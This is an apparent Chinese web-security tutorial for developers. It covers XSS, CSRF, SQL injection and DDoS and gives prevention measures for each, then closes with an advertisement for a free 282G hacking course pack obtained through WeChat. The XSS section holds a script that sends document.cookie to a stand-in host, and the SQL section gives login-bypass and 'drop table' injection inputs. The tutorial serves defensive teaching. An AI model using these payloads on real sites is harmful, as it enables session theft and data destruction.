网站频繁被入侵?详解各类 Web 攻击,手把手教落地防护手段
常见WEB攻击与防御作为一个web开发者web安全是需要了解的web攻击是针对用户上网行为或网站服务器等设备进行攻击的行为如植入恶意代码修改网站权限获取网站用户隐私信息等等。从互联网诞生起网络安全威胁就一直伴随着网站的发展各种web攻击和信息泄露也从未停止。本文介绍常见web攻击方式及预防措施。XSS跨站脚本攻击CSRF跨站请求伪造SQL注入DDOSXSS跨站脚本攻击指攻击者在网页中嵌入恶意脚本当用户打开网页时恶意脚本开始执行盗取用户cookie用户名密码等信息比如在一个发布内容系统中攻击者在内容中嵌入类似的代码scriptwindow.open(www.xxx.com?param document.cookie)/script当用户访问这个页面的时候就会执行恶意代码该用户的cookie就会被发送到攻击者的服务器。「预防措施」将重要的cookies标记为http only这样JavaScript中的document.cookie语句就不能获取到cookie了只允许用户输入我们期望的数据如年龄的textbox中只允许输入数字其余过滤对数据进行Html Encode处理如转化为lt、转化为amp过滤或移除特殊的Html标签如script、iframe过滤JavaScript事件的标签如“οnclick”、“onfocus”等。CSRF跨站请求伪造指通过盗用用户信息以用户的名义向第三方网站发起恶意请求盗取账号转账发送信息删除数据等用户登录信任站点A - 未退出访问恶意站点B - 从站点B发起访问站点A的恶意请求「预防措施」Cookie设置HttpOnlyJS就无法读取到cookie中的信息避免攻击者伪造cookie的情况出现。不使用cookie验证改token方式验证通过referer识别验证页面是否是信任站点SQL注入SQL注入攻击是指把SQL语句伪装成正常的http请求欺骗服务器执行恶意的SQL语句达到入侵目的。 or 1 1。这是最常见的sql注入攻击当我们输入用户名 jiajun 然后密码输入or 1 1的时候我们在查询用户名和密码是否正确的时候本来要执行的是select * from user where username and password,经过参数拼接后会执行sql语句select * from user where usernamejaijun and password or 11 这个时候11是成立自然就跳过验证了。但是如果再严重一点密码输入的是;drop table user;--那么sql命令为select * from user where usernamejiajun and password;drop table user;--这个时候我们就直接把这个表给删除了「预防措施」对进入数据库的特殊字符\尖括号*;等进行转义处理或编码转换。在应用发布之前建议使用专业的SQL注入检测工具进行检测以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具例如sqlmap、SQLninja等避免网站打印出SQL错误信息比如类型错误、字段不匹配等把代码里的SQL语句暴露出来以防止攻击者利用这些错误信息进行SQL注入。DDOS分布式服务攻击借助公共网络将数量庞大的计算器设备肉鸡联合起来对一个或多个目标发动攻击从而达到瘫痪目标主机的目的。SYN Flood ,简单说一下tcp三次握手客户端先服务器发出请求请求建立连接然后服务器返回一个报文表明请求已被接受然后客户端也会返回一个报文最后建立连接。那么如果有这么一种情况攻击者伪造ip地址发出报文给服务器请求连接这个时候服务器接收到了根据tcp三次握手的规则服务器也要回应一个报文可是这个ip是伪造的报文回应给谁呢第二次握手出现错误第三次自然也就不能顺利进行了这个时候服务器收不到第三次握手时客户端发出的报文又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求这个时候服务器将维护一个非常大的半连接等待列表占用了大量的资源最后服务器瘫痪CC攻击在应用层http协议上发起攻击模拟正常用户发送大量请求直到该网站拒绝服务为止。DNS query flood 攻击者伪造大量无效域名发送给目标服务器解析这些域名均为无效域名导致DNS服务器耗用大量资源去处理这些无效域名造成DNS解析域名超时达到攻击目的。「预防措施」增加带宽但是带宽非常昂贵异常流量的清洗过滤过滤不必要的服务和端口高防智能DNS解析部署CDN总结以上只是列举了常见的web攻击方式都是比较常见的web安全话题以及一些防范方案实际开发过程中还会遇到很多安全问题对于这些问题我们都不可忽视服务器上任何一个应用的漏洞都有可能是黑客攻陷服务器的突破口。除上述常见的几种方式还有很多Web安全话题有兴趣的同学可以继续研究。如何系统学习网络安全/黑客网络安全不是「速成黑客」而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时那种创造的快乐远胜于电影里的炫技。装上虚拟机从配置第一个Linux环境开始脚踏实地从基础命令学起相信你一定能成为一名合格的黑客。如果你还不知道从何开始我自己整理的282G的网络安全教程可以分享我也是一路自学走过来的很清楚小白前期学习的痛楚你要是没有方向还没有好的资源根本学不到东西下面是我整理的网安资源希望能帮到你。需要的话可以V扫描下方二维码联系领取~如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享1.从0到进阶主流攻防技术视频教程包含红蓝对抗、CTF、HW等技术点2.入门必看攻防技术书籍pdf书面上的技术书籍确实太多了这些是我精选出来的还有很多不在图里3.安装包/源码主要攻防会涉及到的工具安装包和项目源码防止你看到这连基础的工具都还没有4.面试试题/经验网络安全岗位面试经验总结谁学技术不是为了赚$呢找个好的岗位很重要需要的话可以V扫描下方二维码联系领取~因篇幅有限资料较为敏感仅展示部分资料添加上方即可获取如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享